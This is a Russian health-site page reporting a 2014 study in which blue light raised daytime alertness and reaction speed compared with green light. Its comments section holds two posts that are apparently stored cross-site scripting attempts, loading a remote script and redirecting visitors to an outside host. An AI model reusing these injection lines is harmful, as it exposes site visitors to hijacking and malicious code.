Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как не психовать?! Включи...  >>  Как не психовать?! Включите синий свет!
 
Обратная связь
 

Как не психовать?! Включите синий свет!

Размер шрифта
01 июля 2014 00:00
Юрий Малышев
Здоровье инфо
Полина Калинина
Здоровье инфо
  • google_analytics: false
  • Нравится

Оказывается, воздействие на человека голубого света повышает бдительность и работоспособность!

Как не психовать?! Включите синий свет!

«В нашем предыдущем исследовании было показано, что голубой свет повышает внимание в течение ночи, однако сейчас стало понятно, что это действие распространяется и на дневное время суток, – утверждает доктор Шадаб Рэман, руководитель исследования. – Согласно полученным результатам, длительное воздействие голубым светом повышает внимание и в течение дня».

В ходе исследования ученые пытались выяснить влияние света различной длины волны на бдительность, работоспособность. Невролог Джордж Брейнард из университета имени Томаса Джефферсона разработал специальное световое оборудование. Ученые сравнивали влияние голубого и зеленого цветов на бдительность и работоспособность у 16 участников в течение 6,5 часов ежедневно. Участники оценивали, насколько сонными они себя ощущают, врачи измеряли их время реакций, а с помощью специальных электродов определялась активность различных частей мозга в период воздействия светом. Выяснилось, что люди, облучавшиеся голубым светом, чувствовали меньшую сонливость, показывали более быстрые реакции и лучше проходили тесты, чем те, кто облучался зеленым светом. Кроме того, по анализу мозговой активности было видно, что голубой свет вызывал большую бдительность и настороженность.

«Эти результаты помогут нам лучше понять влияние света на мозг, а также сделать новый шаг в использовании света для улучшения внимания, продуктивности, повышения безопасности, – говорит невролог Стивен Локли, – наше открытие может улучшить работоспособность и эффективность деятельности людей, работающих как в дневное, так и в ночное время».

Остается открытым вопрос, в какой форме должно происходить воздействие света на человека. Обычный солнечный свет часто мало доступен в местах работы, обучения и домах. Ученые видят цель в создании «умных» систем освещения, которые бы благоприятно сказывались на здоровье и работе человека.

Данный материал предоставлен Brigham and Women’s Hospital, Бостон, США в 2014 году.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:36

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:34

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как защитить ребенка от педофилов   Как выявить психопата среди вас?   Женщины, почему вам нравятся такие мужчины?   Влияет ли политика на Евровидение?! Ученые выяснили, как раздаются голоса: читайте и делайте ставки!  
12 июля 2013Как мы мжоем чтиать слвоа, кодга все бвукы перпуетнаы? 03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума?
 
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 

Слайдшоу

1
Как спать с бронхитом
Как провести день, чтобы выспаться
Как студенческая жизнь влияет на здоровье

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.